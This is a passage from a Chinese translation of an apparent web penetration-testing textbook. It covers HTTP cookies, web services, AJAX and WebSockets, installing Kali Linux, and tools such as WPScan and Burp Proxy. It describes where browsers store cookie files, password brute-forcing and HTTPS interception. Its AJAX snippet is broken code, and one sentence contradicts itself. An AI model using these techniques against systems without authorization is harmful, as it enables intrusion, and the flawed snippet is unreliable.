Cookie 被分为两个主要类别。持久性 Cookie 以文本文件的形式存储在客户端设备的内部存储中。由于 Cookie 存储在硬盘上,它可以在浏览器崩溃或不同会话之间持久存在。不同的浏览器会以不同的方式存储持久性 Cookie。例如,Internet Explorer 将 Cookie 保存在用户文件夹内的文本文件中,路径为AppData\Roaming\Microsoft\Windows\Cookie,而 Google Chrome 使用一个 SQLite3 数据库,也存储在用户文件夹内,路径为AppData\Local\Google\Chrome\User Data\Default\cookies。正如前面提到的,Cookie 可以用于传递会话 ID、偏好设置和购物数据等敏感信息。如果存储在硬盘上,它无法防止恶意用户对其进行修改。

为了解决持久性 Cookie 面临的安全问题,程序员提出了另一种更常用的 Cookie 类型,称为非持久性 Cookie,它存储在 Web 浏览器的内存中,在硬盘上不留痕迹,并通过请求和响应头在 Web 浏览器和服务器之间传递。非持久性 Cookie 仅在服务器指定的预定义时间内有效。

Cookie 参数

除了 cookie 的名称和值之外,Web 服务器还设置了其他几个参数,用于定义 cookie 的范围和可用性,如下所示的响应头:

以下是一些参数的详细信息:

  • :指定将发送 cookie 的域。

  • 路径:为了进一步锁定 cookie,可以指定路径参数。如果指定的域是email.com,路径设置为/mail,那么 cookie 只会发送到email.com/mail内的页面。

  • HttpOnly:这是一个参数,用于减轻跨站脚本攻击XSS)带来的风险,因为 JavaScript 无法访问 cookie。

  • 安全:如果设置了此参数,cookie 只能通过安全通信渠道发送,即 SSL 和 TLS。

  • 过期时间:cookie 将存储到此参数指定的时间。

HTTP 响应中的 HTML 数据

响应体中的数据是对最终用户有用的信息。它通常包含 HTML 格式的数据,但也可以是JavaScript 对象表示法JSON)或可扩展标记语言XML)数据、脚本代码或二进制文件,如图像和视频。最初在 Web 上存储的只有纯文本信息,以一种更适合阅读的方式进行格式化,同时能够包含表格、图像和链接到其他文档的内容。这被称为超文本标记语言HTML),Web 浏览器是用来解释它的工具。HTML 文本使用标签进行格式化。

HTML 不是一种编程语言。

服务器端代码

脚本代码和 HTML 格式化由 Web 浏览器解释和呈现。这被称为客户端代码。涉及到通过服务器检索客户端请求的信息、会话跟踪以及大部分应用程序逻辑的过程是通过服务器端代码在服务器上执行的,使用的语言有 PHP、ASP.NET、Java、Python、Ruby 和 JSP 等。该代码生成一个输出,然后可以使用 HTML 进行格式化。当您看到以.php扩展名结尾的 URL 时,表示该页面可能包含 PHP 代码。然后必须通过服务器的 PHP 引擎运行,以便在加载 Web 页面时生成动态内容。

多层 Web 应用程序

随着今天使用的 Web 应用程序变得越来越复杂,将 Web 应用程序部署在单个系统上的传统方式已经成为过去的故事。将所有的鸡蛋放在一个篮子里并不是部署关键业务应用程序的明智方式,因为它严重影响应用程序的性能、安全性和可用性。单个服务器托管应用程序和数据的简单设计仅适用于流量不大的小型 Web 应用程序。设计 Web 应用程序的三层方法是未来的发展方向。

三层 Web 应用程序设计

在三层 Web 应用程序中,表示层、应用程序层和数据层之间存在物理分离,具体描述如下:

  • 表示层:这是接收客户端连接并将响应发送回客户端的服务器。它是应用程序的前端。表示层对于 Web 应用程序至关重要,因为它是用户与应用程序的其余部分之间的接口。在表示层接收到的数据会传递给应用程序层的组件进行处理。接收到的输出使用 HTML 格式化,并显示在用户的 Web 客户端上。Apache 和 nginx 是开源软件程序,而 Microsoft IIS 是商业软件,部署在表示层。

  • 应用层:处理密集型处理和主要应用程序逻辑在应用层中完成。一旦演示层从客户端收集所需数据并将其传递给应用层,工作在该层的组件可以对数据应用业务逻辑。然后将输出返回到演示层,以发送回客户端。如果客户端请求数据,则从数据层提取数据,将其处理成对客户端有用的形式,并传递给演示层。Java、Python、PHP 和 ASP.NET 是在应用层工作的编程语言。

  • 数据访问层:实际存储和数据存储库工作在数据访问层。当客户端需要数据或发送数据进行存储时,它会被应用层传递到数据访问层进行持久存储。在该层工作的组件负责维护数据并保持其完整性和可用性。它们还负责管理应用层的并发连接。MySQL 和 Microsoft SQL 是两种最常用的在该层工作的技术。结构化查询语言SQL)关系数据库是当今 Web 应用程序中最常用的,尽管 NoSQL 数据库(如 MongoDB、CouchDB 和其他 NoSQL 数据库)也被广泛使用,特别是在大数据分析应用程序中,它们以与关系数据库传统的行列表格格式不同的形式存储信息。SQL 是一种数据定义和查询语言,许多数据库产品都支持它作为检索和更新数据的标准。

下图显示了演示层、应用层和数据访问层如何协同工作:

Web 服务

Web 服务可以被视为不包含演示层的 Web 应用程序。面向服务的架构允许 Web 服务提供者与该服务的消费者轻松集成。Web 服务使不同的应用程序可以共享数据和功能。它们允许消费者在不知道数据的格式或位置的情况下通过互联网访问数据。

当您不想公开数据模型或用于访问数据的逻辑,但仍希望数据对其消费者随时可用时,这变得非常关键。一个例子是由股票交易所提供的 Web 服务。在线经纪人可以使用此 Web 服务获取有关股票的实时信息,并在其自己的网站上显示,具有自己的演示风格和品牌,以供最终用户购买。经纪人的网站只需要调用服务并请求公司的数据。当服务回复数据时,Web 应用程序可以解析信息并显示它。

Web 服务是平台无关的。股票交易应用程序可以用任何语言编写,而服务仍然可以被调用,而不管用于构建应用程序的底层技术是什么。服务提供者和消费者需要达成一致的只有数据交换的规则。

目前有两种不同的开发 Web 服务的方式:

  • 简单对象访问协议SOAP

  • 表述性状态转移REST),也称为 RESTful Web 服务。

介绍 SOAP 和 REST Web 服务

SOAP 一直是开发 Web 服务的传统方法,但它有许多缺点,现在应用程序正在转向 REST 或 RESTful Web 服务。在使用 SOAP Web 服务时,XML 是唯一可用的数据交换格式,而 REST Web 服务可以使用 JSON 和其他数据格式。尽管基于 SOAP 的 Web 服务在某些情况下仍然被推荐使用,因为它具有额外的安全规范,但由于其简单性,轻量级的 REST Web 服务是许多 Web 服务开发人员首选的方法。SOAP 是一种协议,而 REST 是一种架构风格。亚马逊、Facebook、谷歌和雅虎已经转向 REST Web 服务。

REST Web 服务的一些特点如下:

  • 它们与 CRUD 操作非常配合

  • 它们具有更好的性能和可扩展性

  • 它们可以处理多种输入和输出格式

  • 对于连接到 Web 服务的开发人员来说,学习曲线较小

  • REST 设计理念与 Web 应用程序类似

CRUD 代表创建、读取、更新和删除;它描述了持久存储的四个基本功能。

SOAP 相对于 REST 的主要优势在于 SOAP 是独立于传输的,而 REST 仅在 HTTP 上工作。REST 基于 HTTP,因此影响标准 Web 应用程序的相同漏洞也可以用于攻击它。幸运的是,相同的安全最佳实践可以应用于保护 REST Web 服务。

在开发 SOAP 服务时,将 XML 数据包装在 SOAP 请求中,然后使用 HTTP 发送的复杂性迫使许多组织转向 REST 服务。它还需要一个 Web 服务定义语言(WSDL)文件,该文件提供与服务相关的信息。必须维护一个 UDDI 目录,其中发布了 WSDL 文件。

REST 服务的基本思想是,与使用 SOAP 等复杂机制不同,它直接通过 HTTP 与服务提供者进行通信,无需任何额外的协议。它使用 HTTP 来创建、读取、更新和删除数据。

SOAP 基于 Web 服务的消费者发送的请求如下所示:

<?xml version="1.0"?> 
<soap:Envelope 
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
  <soap:body sp="http://www.stockexchange.com/stockprice"> 
    <sp:GetStockPrice> 
      <sp:Stockname>xyz</sp:Stockname> 
    </sp:GetStockPrice> 
  </soap:Body> 
</soap:Envelope> 

另一方面,发送到 REST Web 服务的请求可能如下所示:

http://www.stockexchange.com/stockprice/Stockname/xyz 

应用程序使用GET请求从 Web 服务中读取数据,这种方法开销较低,与冗长复杂的 SOAP 请求不同,开发人员编码起来更容易。虽然 REST Web 服务也可以使用 XML 返回数据,但很少使用的 JSON 是首选的返回数据的方法。

Web 服务中的 HTTP 方法

REST Web 服务可能会以与标准 Web 应用程序不同的方式处理 HTTP 方法。这种行为取决于开发人员的偏好,但将POSTGETPUTDELETE方法与 CRUD 操作相关联的做法越来越流行。最常见的方法如下:

  • 创建:POST

  • 读取:GET

  • 更新:PUT

  • 删除:DELETE

一些 API 实现交换了PUTPOST的功能。

XML 和 JSON

Web 服务使用 XML 和 JSON 来表示结构化的数据集或对象。

如前面的章节所讨论的,XML 使用基于标签、属性和标签的值的语法;例如,应用程序的文件菜单可以表示如下:

<menu id="m_file" value="File"> 
  <popup> 
    <item value="New" onclick="CreateDocument()" /> 
    <item value="Open" onclick="OpenDocument()" /> 
    <item value="Close" onclick="CloseDocument()" /> 
  </popup> 
</menu> 

相反,JSON 使用一种更经济的语法,类似于 C 和 Java 编程语言。JSON 格式的相同菜单如下所示:

{"menu": { 
  "id": "m_file", 
  "value": "File", 
  "popup": { 
    "item": [ 
      {"value": "New", "onclick": "NewDocument()"}, 
      {"value": "Open", "onclick": "OpenDocument()"}, 
      {"value": "Close", "onclick": "CloseDocument()"} 
    ] 
  } 
}} 

AJAX

异步 JavaScript 和 XML(AJAX)是多个现有 Web 技术的组合,它允许客户端在没有用户直接干预的情况下发送请求和处理响应。它还可以减轻服务器对应用程序逻辑处理任务的负担。AJAX 允许您与 Web 服务器进行通信,而无需用户在 Web 浏览器中明确发出新请求。这导致服务器的响应更快,因为 Web 页面的部分可以单独更新,从而改善用户体验。AJAX 利用 JavaScript 连接并从服务器检索信息,而无需重新加载整个 Web 页面。

以下是使用 AJAX 的一些好处:

  • 提高速度:使用 AJAX 的目标是提高 Web 应用程序的性能。通过更新单个表单元素,服务器上只需要进行最少的处理,从而提高性能。客户端的响应速度也得到了显著提高。

  • 用户友好:在基于 AJAX 的应用程序中,用户无需重新加载整个页面以刷新网站的特定部分。这使应用程序更具交互性和用户友好性。它还可以用于实时验证和自动完成。

  • 异步调用:基于 AJAX 的应用程序设计为对 Web 服务器进行异步调用,因此称为异步 JavaScript 和 XML。这使用户可以在幕后更新部分网页时与网页进行交互。

  • 减少网络利用率:通过不进行完整页面刷新,减少网络利用率。在加载大型图像、视频或动态内容(如 Java 小程序或 Adobe Flash 程序)的 Web 应用程序中,使用 AJAX 可以优化网络利用率。

AJAX 的构建块

如前所述,AJAX 是使用常见 Web 技术构建 Web 应用程序的混合体。使用这些 Web 技术设计应用程序会产生基于 AJAX 的应用程序。以下是 AJAX 的组成部分:

  • JavaScript:基于 AJAX 的应用程序最重要的组成部分是客户端的 JavaScript 代码。JavaScript 在后台与 Web 服务器进行交互,并在显示给用户之前处理信息。它使用XMLHttpRequest(XHR)API 在服务器和客户端之间传输数据。XHR 存在于后台,用户对其存在毫无察觉。

  • 动态 HTML(DHTML):一旦从服务器检索到数据并由 JavaScript 处理,Web 页面的元素需要更新以反映来自服务器的响应。一个完美的例子是在填写在线表单时输入用户名。表单会动态更新,以反映并告知用户用户名是否已在网站上注册。使用 DHTML 和 JavaScript,您可以实时更新页面内容。DHTML 在 AJAX 出现之前就已存在。仅使用 DHTML 的主要缺点是它严重依赖于客户端代码来更新页面。大多数情况下,您没有在客户端加载所有内容,需要与服务器端代码进行交互。这就是 AJAX 通过创建客户端代码和服务器端代码之间的连接来发挥作用的地方,通过 XHR 对象实现。在 AJAX 之前,您必须使用 JavaScript 小程序。

  • 文档对象模型(DOM):DOM 是一种用于组织 HTML 或 XML 文档中的元素的框架。它是一种表示和与 HTML 对象交互的约定。从逻辑上讲,可以将 HTML 文档解析为一棵树,其中每个元素被视为树节点,树的每个节点都有自己的属性和事件。例如,HTML 文档的 body 对象将具有一组特定的属性,如textlinkbgcolor等。每个对象还具有事件。这个模型允许 JavaScript 通过 DHTML 访问和动态更新页面内容。DHTML 是一个浏览器功能,DOM 充当实现它的接口。

AJAX 工作流程

下图说明了基于 AJAX 的应用程序各个组件之间的交互。与传统的 Web 应用程序相比,AJAX 引擎是主要的新增内容。AJAX 引擎的额外层作为所有通过 AJAX 进行的请求和响应的中间人。AJAX 引擎是 JavaScript 解释器:

以下是用户与基于 AJAX 的应用程序交互的工作流程。用户界面和 AJAX 引擎是客户端 Web 浏览器上的组件:

  1. 用户在浏览器中输入网页的 URL,浏览器向服务器发送一个 HTTP 请求。服务器处理请求并返回 HTML 内容,浏览器通过 Web 渲染引擎显示该内容。在 HTML 中,网页嵌入在 JavaScript 代码中,当遇到事件时由 JavaScript 解释器执行。

  2. 当与网页交互时,用户遇到一个使用嵌入的 JavaScript 代码并触发事件的元素。一个例子是谷歌搜索页面。当用户开始输入搜索查询时,底层的 AJAX 引擎拦截用户的请求。AJAX 引擎通过 HTTP 请求将请求转发给服务器。这个请求对用户来说是透明的,用户不需要显式地点击提交按钮或刷新整个页面。

  3. 在服务器端,应用程序层处理请求并将数据以 JSON、HTML 或 XML 形式返回给 AJAX 引擎。AJAX 引擎将此数据转发给 Web 渲染引擎,以便由浏览器显示。Web 浏览器使用 DHTML 仅更新 Web 页面的选定部分,以反映新数据。

当你遇到一个基于 AJAX 的应用程序时,请记住以下额外的要点:

  • XMLHttpRequest API 在幕后完成了这个魔术。由于其名称过长,它通常被称为 XHR。首先实例化一个名为xmlhttp的 JavaScript 对象,并用它来发送和捕获来自服务器的响应。要使 AJAX 工作,需要浏览器支持 XHR。所有最新版本的主流 Web 浏览器都支持此 API。

  • AJAX 的 XML 部分有点误导人。应用程序可以使用除 XML 之外的任何格式,例如 JSON、纯文本、HTTP,甚至是在 AJAX 引擎和 Web 服务器之间交换数据时使用的图像。JSON 是首选的格式,因为它是轻量级的,并且可以转换为 JavaScript 对象,进一步允许脚本轻松访问和操作数据。

  • 多个异步请求可以同时进行,而不需要等待一个请求完成。

  • 许多开发人员使用简化应用程序设计任务的 AJAX 框架。JQuery、Dojo Toolkit、Google Web Toolkit(GWT)和 Microsoft AJAX 库(.NET 应用程序)是众所周知的框架。

一个 AJAX 请求的示例如下:

function loadfile() 
{ 
  //initiating the XMLHttpRequest object 
  var xmlhttp; 
  xmlhttp = new XMLHttpRequest();   
  xmlhttp.onreadystatechange=function() 
  { 
    if (xmlHttp.readyState==4) 
    { 
      showContents(xmlhttp.ResponseText); 
    } 
  //GET method to get the links.txt file   
  xmlHttp.open("GET", "links.txt", true); 

函数loadfile()首先实例化xmlhttp对象。然后使用该对象从服务器获取一个文本文件。当服务器返回文本文件时,它显示文件的内容。文件及其内容是在没有用户参与的情况下加载的,如上面的代码片段所示。

HTML5

HTML 规范的第五个版本于 2014 年 10 月首次发布。这个新版本指定了用于媒体播放、拖放、Web 存储、可编辑内容、地理位置、本地 SQL 数据库、加密、Web 套接字等的 API,这些 API 可能从安全测试的角度来看很有趣,因为它们为攻击打开了新的路径或试图解决以前 HTML 版本中的一些安全问题。

WebSockets

正如之前所述,HTTP 是一种无状态协议。这意味着每个请求都会建立一个新的连接,并在每个响应后关闭。HTML5 的 WebSocket 是一种通信接口,允许客户端和服务器之间建立永久的双向连接。

客户端通过以下GET请求打开 WebSocket 连接:

GET /chat HTTP/1.1 
Host: server.example.com 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== 
Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 
Origin: http://example.com 

如果服务器理解请求并接受连接,其响应将如下所示:

HTTP/1.1 101 Switching Protocols 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= 
Sec-WebSocket-Protocol: chat 

然后,HTTP 连接被 WebSocket 连接取代,并且它变成了一个双向的二进制协议,不一定与 HTTP 兼容。

概述

本章作为对 Web 应用程序的道德黑客和渗透测试的介绍。我们首先确定了测试 Web 应用程序的不同方法。我们还讨论了在开始测试之前需要定义的重要规则。接下来,我们研究了在今天的世界中测试 Web 应用程序的重要性以及不进行定期测试的风险。然后,我们简要介绍了 Kali Linux 作为测试平台,并快速回顾了现代 Web 应用程序中使用的概念和技术。

第二章:使用 Kali Linux 设置您的实验室

准备是一切的关键;当您在渗透测试项目上工作时,它变得更加重要,因为您只有有限的时间进行侦察、扫描和利用。最终,您可以获得访问权限并向客户提交详细报告。您进行的每次渗透测试的性质都会不同,并且可能需要与之前进行的测试不同的方法。工具在渗透测试中起着重要的作用。因此,您需要事先准备好您的工具包,并对您将需要执行测试的所有工具进行实践操作。

在本章中,我们将涵盖以下主题:

  • Kali Linux 的概述和与之前版本的变化

  • 安装 Kali Linux 的不同方法

  • 虚拟化与在物理硬件上安装

  • 在 Kali Linux 中重要工具的演示和配置

  • 易受攻击的 Web 应用程序和虚拟机以建立测试实验室

Kali Linux

Kali Linux 是一个基于 Debian 的以安全为重点的 Linux 发行版。它是著名的 Linux 发行版 BackTrack 的重新品牌版本,BackTrack 带有一个巨大的开源黑客工具库,用于网络、无线和 Web 应用程序渗透测试。尽管 Kali Linux 包含了 BackTrack 的大部分工具,但 Kali Linux 的主要目标是使其可移植,可以安装在基于 ARM 架构的设备上,如平板电脑和 Chromebook,这使得工具很容易地随时可用。

使用开源黑客工具有一个主要的缺点-当它们在 Linux 上安装时,它们包含了大量的依赖项,并且需要按照预定的顺序安装。此外,一些工具的作者没有发布准确的文档,这使得我们的生活变得困难。

Kali Linux 简化了这个过程;它预装了许多工具及其所有依赖项,并且处于可立即使用的状态,这样您就可以更多地关注实际攻击,而不仅仅是安装工具。Kali Linux 中安装的工具经常发布更新,这有助于保持工具的最新状态。一个非商业工具包,预装了所有主要的黑客工具,用于测试真实世界的网络和应用程序,这是每个道德黑客的梦想,Kali Linux 的作者们为了让我们的生活更轻松而做出了一切努力,这让我们可以花更多时间发现实际的漏洞,而不是构建工具包。

Kali Linux 的最新改进

在 2015 年的 Black Hat USA 上,Kali 2.0 发布了一个新的 4.0 内核。它基于 Debian Jessie,代号为 Kali Sana。之前的主要版本是 Kali 1.0,随后发布了版本 1.1 的定期更新。Kali 2.0 中的一些变化包括为了更好的可访问性而进行的界面改变以及添加了更新和更稳定的工具。

以下是 Kali 2.0 的一些主要改进:

  • 持续滚动更新:在 2016 年 1 月,Kali Linux 的更新周期得到了改进,转向了滚动发布,并在 2017 年 4 月进行了重大升级。滚动发布发行版是一种不断更新的发行版,以便在可用时向用户提供最新的更新和软件包。现在用户不必等待主要版本发布来获取错误修复。在 Kali 2.0 中,软件包会定期从 Debian 测试发行版中提取。这有助于保持 Kali 的核心操作系统更新。

  • 频繁的工具更新:维护 Kali Linux 发行版的组织 Offensive Security 已经设计了一种不同的方法来检查更新的工具。他们现在使用一个新的上游版本检查系统,当工具的新版本发布时,它会定期发送更新。通过这种方法,Kali Linux 中的工具会在开发人员发布它们时立即更新。

  • 重新设计的桌面环境: Kali Linux 现在支持完整的 GNOME 3 会话。GNOME 3 是最广泛使用的桌面环境之一,也是开发人员的最爱。运行完整 GNOME 3 会话所需的最低 RAM 为 768 MB。虽然考虑到今天计算机的硬件标准,这不是一个问题;如果您有一台旧机器,您可以下载使用 Xfce 桌面环境和较小一组有用工具的轻量级 Kali Linux 版本。Kali Linux 还原生支持其他桌面环境,如 KDE、MATE、E17、i3wm 和 LXDE。Kali 2.0 带有新的壁纸、可自定义的侧边栏、改进的菜单布局和许多其他视觉调整。

  • 支持各种硬件平台: Kali Linux 现在适用于所有主要版本的 Google Chromebook 和 Raspberry Pi。构建在 Kali Linux 之上的面向移动设备的黑客发行版 NetHunter 已更新至 Kali 2.0。官方的 VMware 和 VirtualBox 镜像也已更新。

  • 主要工具更改: Metasploit Community 和 Pro 版本已从 Kali 2.0 中删除。如果您需要这些版本,您需要直接从 Rapid7 的网站(www.rapid7.com/)下载。现在,只有 Metasploit Framework - 开源版本 - 随 Kali Linux 一起提供。

安装 Kali Linux

Kali Linux 的成功也归功于其安装的灵活性。如果您想快速测试一个系统,您可以在几分钟内在 Amazon 云平台上运行 Kali Linux,或者如果您想使用彩虹表破解密码,您可以将其安装在具有快速处理器的高速 SSD 驱动器上。作为其基础的 Linux,操作系统的每个部分都可以定制,这使得 Kali Linux 成为任何测试环境中的有用工具包。您可以从其官方下载页面获取 Kali Linux:www.kali.org/downloads/

Kali Linux 可以在多种平台上以多种方式安装:

  • USB 模式: 使用诸如 Rufus、Windows 中的 Universal USB Installer 或 Linux 中的dd等工具,您可以从 ISO 映像创建可引导的 USB 驱动器。

  • 预装的虚拟机: 可以从官方 Kali Linux 网站下载 VirtualBox、VMware 和 Hyper-V 镜像。只需下载并导入其中之一到您的虚拟化软件中即可。

  • Docker 容器: 近年来,Docker 容器在许多场景中证明了其有用和方便,并在某些领域中受到了青睐,超过了虚拟化。Docker 的官方 Kali Linux 镜像可在以下位置找到:hub.docker.com/r/kalilinux/kali-linux-docker/

  • Amazon EC2 上的 Kali Linux 最小镜像: Kali Linux 在 AWS 市场上有一个可用于使用的Amazon Machine Image(AMI):aws.amazon.com/marketplace/pp/B01M26MMTT

  • Kali NetHunter: 这是一个 Android ROM 叠加层。这意味着 Kali NetHunter 在 Android ROM(无论是原始还是自定义)之上运行。它目前仅适用于有限数量的设备,并且其安装可能不像其他 Kali 版本那样直接。有关 Kali NetHunter 的更多信息,请参阅:github.com/offensive-security/kali-nethunter/wiki

  • 在物理计算机上安装: 这可能是专业渗透测试人员的最佳选择,他们有一台专用于测试的笔记本电脑,并且需要充分利用 GPU、处理器和内存等硬件。这可以通过下载 ISO 映像并将其记录到 CD、DVD 或 USB 驱动器上,然后使用它来引导计算机并启动安装程序来完成。

根据个人偏好,并且为了节省内存和处理能力,同时拥有完全功能和轻量级桌面环境,本书将使用一个由 VirtualBox 虚拟机和安装了 Xfce4 Kali Linux ISO 的设置。

虚拟化 Kali Linux 与在物理硬件上安装它

虚拟化软件的流行使其成为在虚拟化平台上安装测试机的一个有吸引力的选择。虚拟化软件以低成本提供了丰富的功能,并消除了双启动机器的麻烦。大多数虚拟化软件包提供的另一个有用的功能是克隆虚拟机,您可以使用它来创建多个相同机器的副本。在真实的渗透测试中,您可能需要克隆和复制您的测试机器,以安装额外的黑客工具并在 Kali Linux 中进行配置更改,保留早期镜像的副本以用作虚拟化环境中的基础镜像。这可以非常容易地实现。

一些虚拟化软件具有还原到快照功能,如果您搞砸了测试机器,您可以回到过去并恢复一个干净的状态,在上面可以进行工作。

修改虚拟机的 RAM 数量、虚拟磁盘大小和虚拟处理器数量是虚拟化软件的另一个众所周知的特性。

虚拟化平台具有吸引人的功能,但也有一个主要缺点。如果渗透测试涉及测试网络上使用的密码的强度或其他处理器密集型任务,您将需要一台性能出色的处理器和专用于该任务的 GPU。在虚拟平台上破解密码是不明智的,因为它会减慢进程,并且由于虚拟化开销,您将无法充分利用处理器的容量。

虚拟化平台的另一个让很多人困惑的特性是网络选项。桥接、主机模式和 NAT 是虚拟化软件提供的三种主要网络选项。桥接网络是进行渗透测试的推荐选项,因为虚拟机会表现得好像连接到物理交换机上一样,数据包会不经修改地从主机机器传出。

在 VirtualBox 上安装

可以从www.virtualbox.org/wiki/Downloads获取适用于多个平台的 Oracle VirtualBox。建议您还下载并安装相应的扩展包,因为它提供 USB 2.0 和 3.0 支持、RDP、磁盘加密和其他一些有趣的功能。

从 Kali 下载页面选择您喜欢的版本。如前所述,我们将使用 Xfce4 64 位 ISO(www.kali.org/downloads/)。根据您的硬件或偏好,您可以选择任何其他版本,因为安装的工具或对它们的访问在不同版本中不会有所不同,除非您选择了仅包含操作系统和一小组工具的Light版本。

创建虚拟机

首先打开 VirtualBox 并创建一个新的虚拟机。为其选择一个名称(我们将使用Kali-Linux),并将类型设置为 Linux,版本设置为 Debian(64 位)。如果您选择了 32 位 ISO,请将版本更改为 Debian(32 位)。然后,点击下一步:

在接下来出现的屏幕上,选择为虚拟机保留的内存量。Kali Linux 可以运行在至少 1GB 的 RAM 上,但是虚拟机的推荐设置是 2-4GB。我们将为我们的机器设置 2GB。请记住,您的主机计算机需要内存来运行其他程序,可能还需要运行其他虚拟机:

接下来,我们将为虚拟机创建一个硬盘。选择“立即创建虚拟硬盘”,然后点击“创建”。在下一个屏幕上,让类型保持为 VDI(VirtualBox 磁盘映像)和动态分配。然后,选择文件名和路径;您可以将其保持不变。最后,选择磁盘大小。我们将使用 40GB。新安装的 Kali Linux 使用 25GB。选择磁盘大小,然后点击“创建”:

安装系统

现在虚拟机已创建,请在 VirtualBox 列表中选择它,然后点击顶部栏中的“设置”。然后,转到“存储”并选择具有 CD 图标的空驱动器。接下来,我们将配置虚拟机使用刚刚下载的 Kali Linux ISO 作为可引导驱动器(或者是光盘)。点击右侧的 CD 图标,然后点击“选择虚拟光盘文件...”,并导航到下载 Kali ISO 的文件夹:

接受设置更改。现在,所有设置都已完成,启动虚拟机,您将能够看到 Kali 的 GRUB 加载程序。选择“图形化安装”并按Enter

在接下来的几个屏幕中,您需要选择语言、位置和键盘布局:

接下来,安装程序将尝试进行网络配置。由于 VirtualBox 默认为所有新虚拟机设置了 NAT 网络适配器,所以这里不应该有任何问题。然后,您将被要求输入主机名和域名。如果您的网络不需要特定的值,请保持这些值不变,然后点击“继续”。

接下来,您将被要求为 root 用户设置密码。这是您系统中权限最高的用户,所以即使虚拟机只用于练习和测试目的,也要选择一个强密码。选择您的时区并点击“继续”。

现在,您需要选择安装系统和硬盘分区的位置。如果您没有特定的偏好,选择第一个选项“引导分区”。选择使用整个磁盘的选项,然后点击“继续”。在下一个屏幕上,或者在完成磁盘分区配置后,选择“完成分区并将更改写入磁盘”,然后点击“继续”:

在下一个屏幕中点击“继续”以将更改写入磁盘,安装将开始。

安装完成后,安装程序将尝试配置更新机制。确保您的主机计算机已连接到互联网,保持代理配置不变,并在询问是否要使用网络镜像时选择“是”:

安装程序将生成 APT(Debian 软件包管理器)的配置文件。下一步是配置 GRUB 引导加载程序。当被询问时选择“是”,并将其安装在/dev/sda上:

接下来,您应该会看到“安装完成”消息。点击“继续”以重新启动虚拟机。此时,您可以从存储配置中删除 ISO 文件,因为您将不再需要它。

虚拟机重新启动后,您将被要求输入用户名和密码。使用root用户和安装过程中设置的密码:

Kali Linux 中的重要工具

一旦你成功安装并运行了 Kali Linux,你就可以开始使用工具了。由于本书是关于网络应用程序的黑客攻击,我们将花费大部分时间使用的主要工具都可以从“应用程序 | 网络应用程序分析”中访问。下面的截图显示了“网络应用程序分析”中的工具:

在 Kali Linux 中,Web 应用程序分析工具进一步分为四个类别,如下所示:

  • CMS 和框架识别

  • 网络应用程序代理

  • 网络爬虫和目录暴力破解

  • Web 漏洞扫描器

CMS 和框架识别

内容管理系统(CMS)在互联网上非常流行,数百个网站已经使用其中之一——WordPress 进行部署。插件和主题是 WordPress 网站的重要组成部分。然而,这些附加组件存在大量的安全问题。WordPress 网站通常由普通用户管理,他们对安全问题不太关注,并且很少更新他们的 WordPress 软件、插件和主题,使得这些网站成为一个有吸引力的目标。

WPScan

WPScan 是一个用 Ruby 编程语言编写的非常快速的 WordPress 漏洞扫描器,预装在 Kali Linux 中。

可以使用 WPScan 提取以下信息:

  • 插件列表

  • 主题的名称

  • 使用暴力破解技术的弱密码和用户名

  • 版本的详细信息

  • 可能的漏洞

Kali Linux 中还提供了一些其他 CMS 工具,详见以下小节。

JoomScan

JoomScan 可以检测 Joomla CMS 中已知的漏洞,如文件包含、命令执行和注入漏洞。它会探测应用程序并提取目标正在运行的确切版本。

CMSmap

CMSmap 没有包含在 Kali Linux 中,但可以从 GitHub 上轻松安装。这是一个针对最常用的 CMS(WordPress、Joomla 和 Drupal)的漏洞扫描器。它使用 Exploit Database 来查找 CMS 的启用插件中的漏洞。要下载它,请在 Kali Linux 终端中输入以下命令:

git clone https://github.com/Dionach/CMSmap.git  

Web 应用程序代理

HTTP 代理是 Web 应用程序黑客工具包中最重要的工具之一,Kali Linux 包含了几个这样的工具。你可能会在一个代理中错过的功能肯定会在另一个代理中找到。这凸显了 Kali Linux 及其庞大的工具库的真正优势。

HTTP 代理是一种位于浏览器和网站之间的软件,拦截它们之间流动的所有流量。Web 应用程序黑客的主要目标是深入了解应用程序的内部工作原理,而通过充当中间人并拦截每个请求和响应来实现这一目标是最好的。

Burp Proxy

Burp Suite 已成为 Web 应用程序测试的事实标准。它的许多功能几乎提供了 Web 渗透测试人员所需的所有工具。专业版包括一个可以进行主动和被动扫描的自动化扫描器,并在 Intruder(Burp 的模糊测试工具)中增加了配置选项。Kali Linux 包含免费版本,该版本没有扫描功能,也没有保存项目的可能性;此外,它在模糊测试工具 Intruder 上有一些限制。可以从应用程序 | Web 应用程序分析 | Web 应用程序代理访问它。Burp Suite 是一个功能丰富的工具,包括 Web 爬虫、Intruder 和重复器,用于自动化对 Web 应用程序的定制攻击。我将在后面的章节中更深入地介绍几个 Burp Suite 的功能。

Burp Proxy 是一个非透明代理,你需要采取的第一步是将代理绑定到特定的端口和 IP 地址,并配置 Web 浏览器使用该代理。默认情况下,Burp 监听127.0.0.1回环地址和8080端口号:

确保选择一个没有被其他应用程序使用的端口,以避免任何冲突。注意端口和绑定地址,并将其添加到浏览器的代理设置中。

默认情况下,Burp Proxy 只拦截来自客户端的请求,不拦截服务器的响应。如果需要,可以在 Proxy 的 Options 选项卡中手动打开它,进一步在 Intercept Server Responses 部分。

自定义客户端拦截

如果您想缩小拦截的 Web 流量量,还可以设置特定规则。如下图所示,您可以匹配特定域、HTTP 方法、cookie 名称等的请求。一旦拦截到流量,您可以编辑值,将其转发到 Web 服务器并分析响应:

即时修改请求

在匹配和替换部分,您可以配置规则,以在请求中查找特定值并即时编辑它,而无需任何手动干预。Burp Proxy 包含了几个这样的规则。其中最值得注意的是用 Internet Explorer、iOS 或 Android 设备的用户代理值替换的规则:

使用 Burp Proxy 与 HTTPS 网站

Burp Proxy 也可以与 HTTPS 网站一起使用。为了解密通信并能够分析它,Burp Proxy 拦截连接,将自己呈现为 Web 服务器,并发出由其自己的 SSL/TLS 证书颁发机构CA)签名的证书。然后,代理将自己呈现给实际的 HTTPS 网站作为用户,并使用 Web 服务器提供的证书对请求进行加密。来自 Web 服务器的连接然后在代理处终止,代理解密数据并使用自签名的 CA 证书重新加密,该证书将显示在用户的 Web 浏览器上。以下图表解释了这个过程:

